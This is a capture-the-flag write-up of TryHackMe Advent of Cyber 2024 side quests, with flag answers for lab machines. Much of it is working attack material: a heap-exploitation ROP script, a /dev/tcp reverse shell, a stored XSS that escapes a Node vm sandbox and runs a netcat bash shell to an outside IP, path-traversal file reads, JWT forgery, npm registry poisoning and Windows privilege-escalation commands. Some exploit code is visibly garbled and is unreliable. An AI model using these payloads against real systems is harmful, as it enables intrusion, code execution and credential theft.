In addition to the Advent of Cyber 2024 room
, we have an annex Side Quest task.
Five tasks need to be completed to finish the side quests.
The keycards to the machines will be scattered around the main Advent of Cyber 2024
room, hidden in some of the core event challenges.
- The L1 keycard will be hidden between days 1 and 4;
- The L2 keycard will be hidden between days 5 and 8;
- The L3 keycard will be hidden between days 9 and 12;
- The L4 keycard will be hidden between days 13 and 17;
- The L5 keycard will be hidden between days 18 and 22.
Hint: What's with all these GitHub repos? Could they hide something else?
As with last year, we can use the Wireshark
tool:
# https://github.com/Bloatware-WarevilleTHM C2
$ tshark -r chall.pcap -Y 'http' -T fields -e http.file_data | xxd -r -p | grep -a username=.*=
# https://github.com/creaktive/tsh
$ tshark -r chall.pcap -Y "tcp.port == 9001" -T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -e tcp.stream -e data
"zip -P ... elves.zip elves.sql"
$ tshark -r chall.pcap -q -z follow,tcp,raw,0 # AES
$ tshark -r chall.pcap -Y 'tcp' -e 'data' -Tfields | grep 504b0304 | xxd -r -p > data.zip
- What is the password the attacker used to register on the site?
e23878938b9f65e7f1cd5ae4c1162528
- What is the password that the attacker captured?
aeb56e96f42f9685f5153fa60fd80187
- What is the password of the zip file transferred by the attacker?
2cd73f8746c9f9acbe6ba981be67994f
- What is McSkidy's password that was inside the database file stolen by the attacker?
67f294f3eadc4b0e4b03499f8e3694d9
Hint: Following McSkidy's advice, Software recently hardened the server. It used to have many unneeded open ports, but not anymore. Not that this matters in any way.
Your friendly neighborhood LLM quickly gives us the idea of using Chisel to make the tunneling better.
# XXE local enumeration | https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
yin@ip:~$ ./chisel server --port chisel --reverse
# http://wiki.ros.org/rospy
yang@ip:~$ ./chisel client yin:chisel R:11311:localhost:11311
# rospy.wait_for_service("yang")
$ aider /add * --edit-format code # Race condition may not work everytime
# We should change the rospy yang rate to get the secret channel
_ = __import__("rospy").ServiceProxy("*yang*", yang)(sec, "chmod 600 /catkin_ws/*.pem", "yang", "yin")
# Mostly the same for yin
$ chmod u+x /home/yang/bash && chown root:root /home/yang/bash && chmod u+s /home/yang/bash
$ cat /root/*
- What is the flag for YIN?
459f90f69b0e9a4a60d875f75ef8ef89
- What is the flag for YANG?
98cf02027de49f9512432a5ac60e290a
Hint: Where balances shift and numbers soar, look for an entry - an open door!
Enumerating the endpoints (as http://10.10.11.11:5000/transactions?id=valid_hash
) will give us the right path to take.
# We download all that is available
$ curl -H "Content-Type:application/json" -d '{"k":"..."}' http://10.10.11.11:21337/unlock
$ wget -r http://10.10.11.11/backup/
$ cat ~/Dockerfile
FROM ubuntu:22.04
EXPOSE 1337
RUN apt update && apt install -y ubuntu-standard && apt install -y socat gcc make bash nano kmod procps net-tools iputils-ping curl wget vim linux-headers-$(uname -r) libcap2-bin && rm -rf /var/lib/apt/lists/*
WORKDIR /root
COPY secureStorage /root/secureStorage
COPY flag.txt /root/user.txt
COPY * /root/*
RUN chmod +x /root/*
ENTRYPOINT ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/root/secureStorage"]
We understand that we will need to exploit the binary file in order to have a shell but the problem is that it use a custom compiled library.
Nevertheless if we look at the data online, we may find an article about heap exploitation similar to our case.
from custom_aider import *
from pwn import ELF, p64, remote, rop
from typing import *
def main():
"""
Giving us a reverse shell after using corresponding values
$ /bin/bash -l > /dev/tcp/10.10.10.11/1234 0<&1 2>&1
https://github.com/david942j/one_gadget
https://www.supernetworks.org/pages/blog/scapy-revfrag
https://maxwelldulin.com/BlogPost/House-of-IO-Heap-Reuse
"""
lib, proc = ELF("libc*"), remote("10.10.10.12", 1337)
create(1-1, b"AAAAAAAAAAAAAAAAAAAAAAAA")
tchunk = p64(hex(data_permit))
edit(1-1, tchunk+b"AAAAAAAAAAAAAAAAAAAAAAAA")
create(1, b"A"*3992); create(2, tchunk-b"0")
ntchunk = p64(hex(data_chunk))
lib.address = _*tchunk-b"`" - lib.symbols["main_arena"]
edit(2-1, ntchunk+b"A"*3992)
create(3, b"A"*3992)
edit(1, b"A"*4000)
edit(1, p64(ntchunk-b" ")+b"A"*3992)
edit(3, p64(ntchunk)+b"A"*3992)
create(4, b"A"*3992)
edit(3, p64(ntchunk-b" ")+p64(274432+hex(tleak)-135168>>12^2141504+lib.address)+b"A"*3992)
create(5, b"A"); create(6, b"AAAAAAAAAAAAAAAAAAAAAAAA") # size 0x38
edit(4, p64(ffast)+b"A"*3992)
create(7, p64(ffast)+b"A"*3992); create(8, b"A"*3992)
edit(7, p64((ffast)-b" ")+p64(hex(tleak)+420864>>12^hex(stack)-312)+b"A"*3992)
create(10-1, b"A") # size 0x38
create(10, bytes([lib.address+rop.ROP(lib).ret.address,lib.address+rop.ROP(lib).rdi.address,
next(lib.search(b"/bin/sh")),lib.address+rop.ROP(lib).ret.address,lib.sym["system"],lib.sym["exit"]]))
proc.interactive()
if __name__ == "__main__":
main()
The network was too unstable making it almost impossible to have a shell other than using VNC
machine!
For the last part, we could use a Docker
container penetration toolkit to get the /root/root.txt
flag.
- What is the content of the file foothold.txt?
c3b5ba0d8c87357bd2efe8f08a4115b9
- What is the content of the file user.txt?
f1befdfdaf873bb2603bf5604b18cf9a
- What is the content of the file root.txt?
fbe4bbb33243e9b76fca7adcc49c2f79
Hint: Good thing we had a backup of the CCTV application from yesterday. We got it running again in no time!
Using other apache2-config of /var/www/html
instead of Splunk
will help us find the /recordings/rec1337-deleted.mp4
video path.
Because of strange load balancing after multiple reboots due to irregularities, the AV wasn't enabled in some way.
$ curl -H "Content-Type:application/json" -d '{"k":"..."}' http://10.10.10.13:21337/unlock
root@ip:~# nmap -sS -p- 10.10.10.13
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc (Microsoft Remote Procedure Call)
139/tcp open netbios-ssn
143/tcp open imap (Internet Message Access Protocol)
445/tcp open microsoft-ds
464/tcp open kpasswd5 (Kerberos Password Change)
587/tcp open submission
593/tcp open http-rpc-epmap
3389/tcp open ms-wbt-server (Windows-Based Terminal Server)
5985/tcp open wsman
9389/tcp open adws
21337/tcp open unlock
49650/tcp open unknown
# Guest share enabled AD
$ smbclient //10.10.10.13/ChristmasShare -U Guest
smb: \> mget "Designer (6).jpeg" steg.png approved.xlsx flag.txt
$ binwalk --dd='.*' *.*
# https://hackviser.com/tactics/pentesting/services/imap
$ telnet 10.10.10.13 143
"""
A01 LOGIN [email protected] SilentSnow1
A02 SELECT <mailbox>
A03 LIST <mailbox> *
* LIST (\HasNoChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "Trash"
* LIST (\HasNoChildren) "." "Sent"
A04 SELECT INBOX
* 1 FETCH (RFC822 {3136}
Return-Path: [email protected]
Received: from [10.10.10.14] (ip-1.compute.internal [10.10.10.14]) by FISHER with ESMTPA
Content-Type: multipart/alternative; boundary="------------"
Message-ID: <[email protected]>
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: [email protected]
From: SFC <[email protected]>
Subject: Request for Account Details to Identify Non-Personal Accounts
This is a multi-part message in MIME format.
--------------
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Hi, I hope this message finds you well.
As part of our ongoing efforts to maintain an organized and efficient
system, we need to identify and remove user accounts that are not
designated as personal accounts. To proceed with this initiative, we
kindly request a document containing the account details of all
non-personal users.
The required details include:
* Username
* Password
* Email address
* Associated department/team (if applicable)
* Account creation date (if available)
Please provide the information in a |.docx| format by/December 25th,
2024/ to ensure timely processing. If there are any concerns or
additional clarifications needed, feel free to reach out to me directly.
Your assistance in this matter is greatly appreciated and plays a
crucial role in improving our system's efficiency.
Thank you for your cooperation. Best regards.
--------------)
A05 QUIT
"""
# https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx of IIS
$ sudo apt install bloodhound.py
# Using bloodhound to find generic write
$ evil-winrm -i 10.10.10.15 -u Krampus_Shadow -H md5_hash
# https://lolbas-project.github.io inetpub
$ \> whoami /priv # SeImpersonatePrivilege
# https://github.com/antonioCoco/JuicyPotatoNG
$ ./potato && type root.txt
- What is the content of flag.txt?
ad6db8f5b09ecaec02636129f2e4e15b
- What is the content of user.txt?
5357ea3790c2af20aa3ad93be1c3fee2
- What is the content of root.txt?
fee756aae8fa1a4f2b464fa2249783ac
Hint: The second penguin gave pretty solid advice. Maybe you should listen to him more.
Using Frida to call the zip
function locally, we easily get the access.
Accordingly, we inspect what is on this last virtual machine:
# Konami code once again
$ vim -r .aocgame.cpp.swp && g++ -o game custom_aocgame.cpp && ./game
# Starting the 'Ransomware Note #5' machine while waiting to be accessible.
$ openvpn --config file.ovpn
$ curl -H "Content-Type:application/json" -d '{"k":"..."}' http://10.10.11.11:21337/unlock
{"status":"ok"}
$ nmap -sS -p- 10.10.11.11
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
3000/tcp open ppp (Point-to-Point Protocol)
21337/tcp open unlock
$ dig axfr @10.10.11.11 bestfestivalcompany.thm
"""
; (1 server found)
;; global options: +cmd
bestfestivalcompany.thm. 600 IN SOA bestfestivalcompany.thm. hostmaster.bestfestivalcompany.thm. 1 1200 180 2 600
bestfestivalcompany.thm. 600 IN NS bestfestivalcompany.thm.
bestfestivalcompany.thm. 600 IN NS 0.0.0.0/0.
adm-int.bestfestivalcompany.thm. 600 IN A 172.16.x.x
thehub-int.bestfestivalcompany.thm. 600 IN A 172.16.x.x
thehub-uat.bestfestivalcompany.thm. 600 IN A 172.16.x.x
thehub.bestfestivalcompany.thm. 600 IN A 172.16.x.x
npm-registry.bestfestivalcompany.thm. 600 IN A 172.16.x.x
bestfestivalcompany.thm. 600 IN SOA bestfestivalcompany.thm. hostmaster.bestfestivalcompany.thm. 1 1200 180 2 600
;; Query time: 20 msec
;; XFR size: 9 records (messages 1, bytes 460)
"""
$ echo 10.10.11.11 bestfestivalcompany.thm hostmaster.bestfestivalcompany.thm npm-registry.bestfestivalcompany.thm thehub-int.bestfestivalcompany.thm thehub-uat.bestfestivalcompany.thm adm-int.bestfestivalcompany.thm thehub.bestfestivalcompany.thm >> /etc/hosts # echo 10.10.11.11 >> /etc/resolv.conf
$ curl http://thehub.bestfestivalcompany.thm/
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>The BFC Hub</title>
<link rel="stylesheet" href="/css/styles.css">
</head>
<body>
<div class="container">
<div class="message-box">
<h1>The BFC Hub</h1>
<p>The BestFestivalCompany Hub is under construction. We apologize for the inconvenience.</p>
</div>
</div>
</body>
</html>
"""
$ curl http://npm-registry.bestfestivalcompany.thm/
"""
<title>Verdaccio</title>
<link rel="icon" href="http://npm-registry.bestfestivalcompany.thm/-/static/favicon.ico"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>...
"""
Looking at the subdomains, we can see a list of packages used by the other application.
The author McSkidy
(as well as Anonymous
) quickly puts us in the right direction:
http://npm-registry.bestfestivalcompany.thm/-/web/detail/markdown-converter
markdown-converter | McSkidy
v1.0.0
ERROR: No README data found!
A custom markdown converter developed by the BFC developers.
Published 1 day ago
https://github.com/DiegoRBaquero/node-vm.git
node-vm | NodeJS Core Module Extended.
Diego Rodríguez Baquero
v0.1.0 MIT
Published 1 day ago
https://github.com/expressjs/express.git
express | Fast, unopinionated, minimalist web framework.
TJ Holowaychuk
v4.21.2 MIT
Published 1 day ago
We then use fuzzing tools to find some interesting files in other domains with Local File Inclusion
attack technique:
const express = require('express'); // curl "http://thehub-uat.bestfestivalcompany.thm:3000/../index.js" --path-as-is
const { bootstrap } = require('@vendure/core');
const { AssetServerPlugin } = require('@vendure/asset-server-plugin');
const path = require('path');
const { createProxyMiddleware } = require('http-proxy-middleware');
const sqlite3 = require('sqlite3').verbose();
const config = {
apiOptions: {
port: 3001,
shopApiPath: 'disabled-shop-api',
adminApiPath: 'disabled-admin-api',
},
dbConnectionOptions: {
type: 'sqlite',
synchronize: true,
database: path.join('data', 'vendure.sqlite'), // Docker-compatible database path
},
plugins: [
AssetServerPlugin.init({
route: '/', // Serve assets from the root route
assetUploadDir: path.join(__dirname, 'assets'),
}),
],
};
function hostCheck(req, res, next) {
const allowedHost = 'thehub-uat.bestfestivalcompany.thm:3000'; // Replace with your allowed host
const currentHost = req.headers.host;
console.log(currentHost);
if (currentHost !== allowedHost) {
return res.redirect('http://thehub.bestfestivalcompany.thm'); // Redirect if host does not match
}
next();
}
const app = express();
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views')); // Middleware to parse form data
app.use(express.urlencoded({ extended: true }));
app.use(hostCheck); // Restrict access to .git files
function restrictGitAccess(req, res, next) {
if (req.path.startsWith('/.git')) {
return res.status(403).send('Forbidden: Access to .git files is not allowed.');
}
next();
} // Initialize SQLite database
const db = new sqlite3.Database('/data/app.db', (err) => {
if (err) {
console.error('Failed to connect to the database:', err.message);
} else {
console.log('Connected to SQLite database.');
db.run(
`CREATE TABLE IF NOT EXISTS contact_messages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
email TEXT NOT NULL,
message TEXT NOT NULL
)`,
(err) => {
if (err) {
console.error('Failed to create table:', err.message);
}
}
);
}
});
(async () => {
await bootstrap(config);
app.use('/image', express.static(path.join(__dirname, 'public/image')));
app.use('/', restrictGitAccess); // Home route: Render the index page for root requests
app.get('/', (req, res) => {
const profiles = [
{ name: 'Van Sprinkles', role: 'Software Development', image: '/van-sprinkles.svg' },
{ name: 'Van Jolly', role: 'HR', image: '/van-jolly.svg' },
{ name: 'Van Twinkle', role: 'Cyber Security', image: '/van-twinkle.svg' },
{ name: 'Van Holly', role: 'Identity and Access Management', image: '/van-holly.svg' },
{ name: 'Van Frosty', role: 'Toy Engineering', image: '/van-frosty.png' },
];
res.render('index', { profiles });
}); // Contact form submission handler
app.post('/contact', (req, res) => {
const { email, message } = req.body;
if (!email || !message) {
return res.status(400).send('Email and message are required.');
}
const query = `INSERT INTO contact_messages (email, message) VALUES (?, ?)`;
db.run(query, [email, message], function (err) {
if (err) {
console.error('Failed to save contact message:', err.message);
return res.status(500).send('Failed to save your message. Please try again later.');
}
console.log(`Message saved: ID=${this.lastID}, Email=${email}`);
res.send(`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Thank You</title>
<link rel="stylesheet" href="/css/styles.css">
</head>
<body class="thank-you">
<div class="message">
<h1>Thank You for Contacting Us!</h1>
<p>Your message has been saved.</p>
<img src="/image/christmas.gif" width="100px" alt="Christmas Image" class="christmas-image">
</div>
<div class="footer">Stay warm and enjoy the holiday season!</div>
<form action="/" method="GET">
<button type="submit" class="btn-success btn-enlarge action-btn">Home</button>
</form>
</body>
</html>
`);
});
});
app.use('/css', express.static(path.join(__dirname, 'public/css'))); // Proxy middleware: Pass only API requests to the Vendure API
app.use((req, res, next) => {
if (req.path.endsWith('.css')) {
res.setHeader('Content-Type', 'text/css');
return next();
}
if (req.path.endsWith('.jpg')) {
res.setHeader('Content-Type', 'image/jpeg');
return next();
}
if (req.path.endsWith('.svg')) {
res.setHeader('Content-Type', 'image/svg+xml');
return next();
}
if (req.path === '/' || req.path.startsWith('/contact')) { // Skip the proxy for homepage and contact routes
return next();
} // Proxy all other requests to the Vendure API
createProxyMiddleware({
target: 'http://localhost:3001',
changeOrigin: true,
})(req, res, next);
});
const PORT = 3000;
app.listen(PORT, () => {
console.log(`Express server is running on http://localhost:${PORT}`);
});
})();
Although we do not need to download everything.
const express = require('express');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const bodyParser = require('body-parser');
const session = require('express-session');
const bcrypt = require('bcrypt');
const { markdownToHtml } = require('markdown-converter');
const app = express(); // curl "http://thehub-uat.bestfestivalcompany.thm:3000/../../../proc/self/environ" --path-as-is --output - # PWD=/app/bfc_thehubint
const PORT = 5000; // && curl "http://thehub-uat.bestfestivalcompany.thm:3000/../../../app/bfc_thehubint/index.js" --path-as-is
const SALT_ROUNDS = 10;
const invalidCredentialsPage = `
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Invalid Credentials</title>
<link rel="stylesheet" href="/css/styles.css">
</head>
<body>
<!-- Banner Section -->
<header class="banner">
<h1>Access Denied</h1>
</header>
<section class="layout-section">
<div class="layout-box">
<div class="wrapper" style="height: 100%;">
<p class="invalid">Invalid credentials. Please try again.</p>
<a class="btn-enlarge" href="/">Back to Login</a>
</div>
</div>
</section>
</body>
</html>
`;
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use('/css', express.static(path.join(__dirname, 'public/css')));
app.use('/images', express.static(path.join(__dirname, 'public/images')));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(
session({
secret: 'supersecretkey',
resave: false,
saveUninitialized: true,
})
);
const db = new sqlite3.Database('/data/app.db', (err) => {
if (!err) {
db.run(
`CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL
)`
);
db.run(
`CREATE TABLE IF NOT EXISTS wiki_pages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
title TEXT NOT NULL,
content TEXT NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
)`
);
db.run(
`CREATE TABLE IF NOT EXISTS contact_messages (
id INTEGER PRIMARY KEY AUTOINCREMENT,
email TEXT NOT NULL,
message TEXT NOT NULL
)`
);
}else{
console.error(err);
}
});
function validateSession(req, res, next) {
const userIP = req.connection.remoteAddress;
if (req.session.user && req.session.ip && req.session.ip !== userIP) {
req.session.destroy(() => {
res.status(401).send('Session revoked due to IP mismatch. Please log in again.');
});
} else {
next();
}
}
function requireLogin(req, res, next) {
if (!req.session.user) {
return res.redirect('/');
}
next();
}
app.get('/', (req, res) => {
if (req.session.user) {
return res.redirect('/dashboard');
}
res.render('index', { title: 'The Hub' });
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
const userIP = req.connection.remoteAddress;
db.get(
`SELECT * FROM users WHERE username = ?`,
[username],
(err, user) => {
if (user) {
bcrypt.compare(password, user.password, (err, isMatch) => {
if (isMatch) {
req.session.user = user;
req.session.ip = userIP;
return res.redirect('/dashboard');
}
res.send(invalidCredentialsPage);
});
} else {
res.send(invalidCredentialsPage);
}
}
);
});
app.get('/dashboard', validateSession, requireLogin, (req, res) => {
res.render('dashboard');
});
app.get('/contact-responses', requireLogin, (req, res) => {
const page = parseInt(req.query.page) || 1;
const limit = 5;
const offset = (page - 1) * limit;
db.all(
`SELECT * FROM contact_messages LIMIT ? OFFSET ?`,
[limit, offset],
(err, responses) => {
if (err) {
return res.status(500).send('Database error.');
}
db.get(
`SELECT COUNT(*) AS total FROM contact_messages`,
(err, row) => {
const totalPages = Math.ceil(row.total / limit);
res.render('contact_responses', {
responses,
currentPage: page,
totalPages,
});
}
);
}
);
}); // WIKI listing
app.get('/wiki', requireLogin, (req, res) => {
db.all(`SELECT * FROM wiki_pages`, (err, pages) => {
res.render('wiki', { pages });
});
}); // WIKI creation form
app.get('/wiki/new', requireLogin, (req, res) => {
res.render('wiki_new');
});
app.post('/wiki', requireLogin, (req, res) => {
const { title, markdownContent } = req.body;
const htmlContent = markdownToHtml(markdownContent);
db.run(
`INSERT INTO wiki_pages (title, content) VALUES (?, ?)`,
[title, htmlContent],
(err) => {
if (err) {
return res.status(500).send('Database error.');
}
res.redirect('/wiki');
}
);
});
app.get('/wiki/:id', requireLogin, (req, res) => {
const wikiId = req.params.id;
db.get(`SELECT * FROM wiki_pages WHERE id = ?`, [wikiId], (err, page) => {
if (err) {
return res.status(500).send('Database error.');
}
if (!page) {
return res.status(404).send('Page not found.');
} // Render the WIKI content
res.render('wiki_page', { title: page.title, content: page.content });
});
});
app.listen(PORT, () => {
console.log(`Server running at http://localhost:${PORT}`);
});
// curl "http://thehub-uat.bestfestivalcompany.thm:3000/../../../app/bfc_thehubint/node_modules/markdown-converter/index.js" --path-as-is
const vm = require('vm');
function markdownToHtml(markdown, context = {}) {
let html = markdown
.replace(/^# (.*$)/gim, '<h1>$1</h1>')
.replace(/^## (.*$)/gim, '<h2>$1</h2>')
.replace(/^### (.*$)/gim, '<h3>$1</h3>')
.replace(/^\* (.*$)/gim, '<li>$1</li>')
.replace(/\*\*(.*)\*\*/gim, '<b>$1</b>')
.replace(/\*(.*)\*/gim, '<i>$1</i>');
const dynamicCodeRegex = /\{\{(.*?)\}\}/g;
html = html.replace(dynamicCodeRegex, (_, code) => {
try {
const sandbox = { ...context, require, };
return vm.runInNewContext(code, sandbox);
} catch (error) {
return `<span style="color:red;">Error: ${error.message}</span>`;
}
});
return html;
}
module.exports = { markdownToHtml };
Therefore we understand better the layout of this challenge and figure out that a .git
folder may exists for a reason:
$ curl "http://thehub-uat.bestfestivalcompany.thm:3000/-/../.git/config" --path-as-is
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "origin"]
url = [email protected]:bfcthehubuat
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
[user]
name = bfc_admin
email = [email protected]
$ curl "http://thehub-uat.bestfestivalcompany.thm:3000/-/../.git/HEAD" --path-as-is
ref: refs/heads/main
$ git restore --staged private.key && chmod 600 private.key && ssh [email protected] -i private.key # Get admdev, admint
Another useful content here:
const express = require('express'); // ./admint/index.js
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const axios = require('axios');
const RemoteManager = require('bfcadmin-remote-manager');
const fs = require('fs');
const { JWK } = require('node-jose');
const app = express();
const PORT = 3000;
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
let JWKS = null; // Fetch JWKS
async function fetchJWKS() {
try {
console.log('Fetching JWKS...');
const response = await axios.get('http://thehub-uat.bestfestivalcompany.thm:3000/jwks.json');
const fetchedJWKS = response.data;
if (validateJWKS(fetchedJWKS)) {
JWKS = fetchedJWKS;
console.log('JWKS validated and updated successfully.');
} else {
console.error('Invalid JWKS structure. Retaining the previous JWKS.');
}
} catch (error) {
console.error('Failed to fetch JWKS:', error.message);
}
} // Validate JWKS
function validateJWKS(jwks) {
if (!jwks || !Array.isArray(jwks.keys) || jwks.keys.length === 0) {
return false;
}
for (const key of jwks.keys) {
if (!key.kid || (!key.x5c && (!key.n || !key.e))) {
return false;
}
}
return true;
} // Periodically fetch JWKS every 1 minute
setInterval(fetchJWKS, 60 * 1000);
fetchJWKS(); // Middleware to ensure JWKS is loaded
function ensureJWKSLoaded(req, res, next) {
if (!JWKS || !JWKS.keys || JWKS.keys.length === 0) {
return res.status(503).json({ error: 'JWKS not available. Please try again later.' });
}
next();
} // Middleware to authenticate JWT
async function authenticateToken(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'Unauthorized' });
try {
const key = JWKS.keys[0];
let publicKey;
if (key?.x5c) {
publicKey = `-----BEGIN CERTIFICATE-----\n${key.x5c[0]}\n-----END CERTIFICATE-----`;
} else if (key?.n && key?.e) {
const rsaKey = await JWK.asKey({
kty: key.kty,
n: key.n,
e: key.e,
});
publicKey = rsaKey.toPEM();
} else {
return res.status(500).json({ error: 'Public key not found in JWKS.' });
}
jwt.verify(token, publicKey, { algorithms: ['RS256'] }, (err, user) => {
if (err || user.username !== 'mcskidy-adm') {
return res.status(403).json({ error: 'Forbidden' });
}
req.user = user;
next();
});
} catch (error) {
res.status(500).json({ error: 'Failed to authenticate token.', details: error.message });
}
} // SSH configuration
const sshConfig = {
host: '', // Supplied by the user in API requests
port: 22,
username: 'root',
privateKey: fs.readFileSync('./root.key'),
readyTimeout: 5000,
strictVendor: false,
tryKeyboard: true,
}; // Restart service
app.post('/restart-service', ensureJWKSLoaded, authenticateToken, async (req, res) => {
const { host, service } = req.body;
if (!host || !service) {
return res.status(400).json({ error: 'Missing host or serviceName value.' });
}
try {
const manager = new RemoteManager({ ...sshConfig, host });
const output = await manager.restartService(service);
res.json({ message: `Service ${service} restarted successfully`, output });
} catch (error) {
res.status(500).json({ error: 'Failed to restart service', details: error.message });
}
}); // Modify resolv.conf
app.post('/modify-resolv', ensureJWKSLoaded, authenticateToken, async (req, res) => {
const { host, nameserver } = req.body;
if (!host || !nameserver) {
return res.status(400).json({ error: 'Missing host or nameserver value.' });
}
try {
const manager = new RemoteManager({ ...sshConfig, host });
const output = await manager.modifyResolvConf(nameserver);
res.json({ message: 'resolv.conf updated successfully', output });
} catch (error) {
res.status(500).json({ error: 'Failed to modify resolv.conf', details: error.message });
}
}); // Reinstall Node.js modules
app.post('/reinstall-node-modules', ensureJWKSLoaded, authenticateToken, async (req, res) => {
const { host, service } = req.body;
if (!host || !service) {
return res.status(400).json({ error: 'Missing host or service value.' });
}
try {
const manager = new RemoteManager({ ...sshConfig, host });
const output = await manager.reinstallNodeModules(service);
res.json({ message: `Node modules reinstalled successfully for service ${service}`, output });
} catch (error) {
res.status(500).json({ error: 'Failed to reinstall node modules', details: error.message });
}
}); // Start server
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
If we check the code made by McSkidy
, with any RAG
, we spot that we must exploit the vm
package to have some reverse shell within our internal
virtual IP address.
Going on the http://thehub-uat.bestfestivalcompany.thm:3000/contact
page to submit the payload:
<script>
fetch("/wiki", { // name=0&email=0@0&message=payload
method: "POST", headers: {"Content-Type":"application/x-www-form-urlencoded"},
body: `title=poc&markdownContent={{WebAssembly.compileStreaming({[Symbol.for("nodejs.util.inspect.custom")]:(depth,opt,inspect)=>{inspect.constructor("return process")().mainModule.require("child_process").execSync("busybox nc 10.10.11.12 4444 -e bash")},valueOf:undefined,constructor:undefined}).catch(()=>{});}}`
});
</script>
$ nc -lvnp 4444 # From our host | https://explainshell.com/explain?cmd=nc%20-lvnp%204444
Connection received on 10.10.11.12 49000 # Do not close
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys)...
$ pwd
/app/bfc_thehubint
$ cat package.json
{
"dependencies": {
"bcrypt": "^5.1.1",
"body-parser": "^1.20.3",
"ejs": "^3.1.10",
"express": "^4.21.1",
"express-session": "^1.18.1",
"markdown-converter": "^1.0.0",
"sqlite3": "^5.1.7",
"vm": "^0.1.0"
}
}
$ cat /flag*
We then dig in the code of the internal admin
folder to comprehend the context of the JWT
and network commands.
Fortunately, thanks to our first shell, we can rewrite mostly whatever we want to our advantage:
$ cat jwks.json
{
"keys": [
{
"alg": "RS256",
"use": "sig",
"kty": "RSA",
"kid": "...",
"e": "AQAB",
"n": "..."
}
]
}
$ echo -n "jwks_base64" > poc && base64 -d poc > jwks.json && rm poc # {"username":"bfcdev-admin"}
$ npm publish # /app/bfc_thehubint/node_modules/express
$ npm pkg fix # require('child_process')
$ curl http://npm-registry.bestfestivalcompany.thm:3000/modify-resolv ... -d '{"host":"172.16.x.x","nameserver":"10.10.11.12"}'
# zone bestfestivalcompany.thm/IN: loaded serial 1
Since we are dealing with pretty much the same type of challenge as last years, a python code will be enough to flag:
- Using our
XSS
as in themarkdown-converter
code withLFI
to have a first shell; - This shell is used to retrieve an
OpenSSH
private key to list all folders on the server for recon; - Exploiting the vulnerable code of the
admin
to get another shell; - Using this new shell to find another
OpenSSH
private key and do as before, while committing; - Getting the last shell with
sudo git-diff
to find and read the latest challenge flag.
from multiprocessing import Process
from pathlib import Path
from pwn import listen
from requests import post
from subprocess import run
def xss(ip:str):
"""
Sending the XSS to the vulnerable endpoint, to prepare the first shell.
Be careful not to overfill "/data/app.db" database file.
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#steal-page-content
"""
exp = {
"name":"0", "email":"0@0",
"message": """<script>fetch("/wiki",{
method: "POST", headers: {"Content-Type":"application/x-www-form-urlencoded"},
body: `title=poc&markdownContent={{WebAssembly.compileStreaming({[Symbol.for("nodejs.util.inspect.custom")]:
(depth,opt,inspect)=>{inspect.constructor("return process")().mainModule.require("child_process").execSync("busybox nc """ + \
ip + """ 4444 -e bash")},valueOf:undefined,constructor:undefined}).catch(()=>{});}}`});</script>"""
}
req = post("http://thehub-uat.bestfestivalcompany.thm:3000/contact", data=exp, headers={"Content-Type":"application/x-www-form-urlencoded"})
return req # "Thank You for Contacting Us"
def shellA(ip="10.10.11.12"):
"""
Using the shell to get the first flag of the challenge.
Make sure to use your own private key to sign the JSON Web Token.
Using "npm install -g verdaccio && ./npm/bin/verdaccio" with config.yaml (listen:-0.0.0.0:4873) pointed to us, without SSL.
We should setup a Domain Name System that replicates "bestfestivalcompany.thm" while using admin (manager.modifyResolvConf) repository.
We could also write an exploit in node packages, publish it anonymously with Npm through Verdaccio and curl.
https://book.hacktricks.xyz/shells/shells/linux
"""
cli = listen(4444).wait_for_connection()
cli.sendline(b"cat /flag-*"); print(cli.recvuntil(b"#")) # cli.interactive()
cli.sendlinethen(b"#", b'echo jwks_base64 | base64 -d > /app/bfc_thehubuat/assets/jwks.json') # Checking prompt delimiter
cli.sendlinethen(b"#", b"rm .npmrc && npm config set registry http://" + ip.encode() + b":4873/")
token = __import__("jwt").encode({"username":"mcskidy-adm"}, Path("~/private.key").read_bytes(), algorithm="RS256", headers={"kid":"..."})
cli.sendlinethen(b"#", b'''curl http://npm-registry.bestfestivalcompany.thm:3000/reinstall-node-modules -H "Authorization:Bearer '''+token \
+ b'''" -H "Content-Type:application/json" -d '{"host":"npm-registry.bestfestivalcompany.thm","service":"adm***"}''')
# {"error":"Failed to reinstall node modules","details":"Timed out while waiting for handshake"}
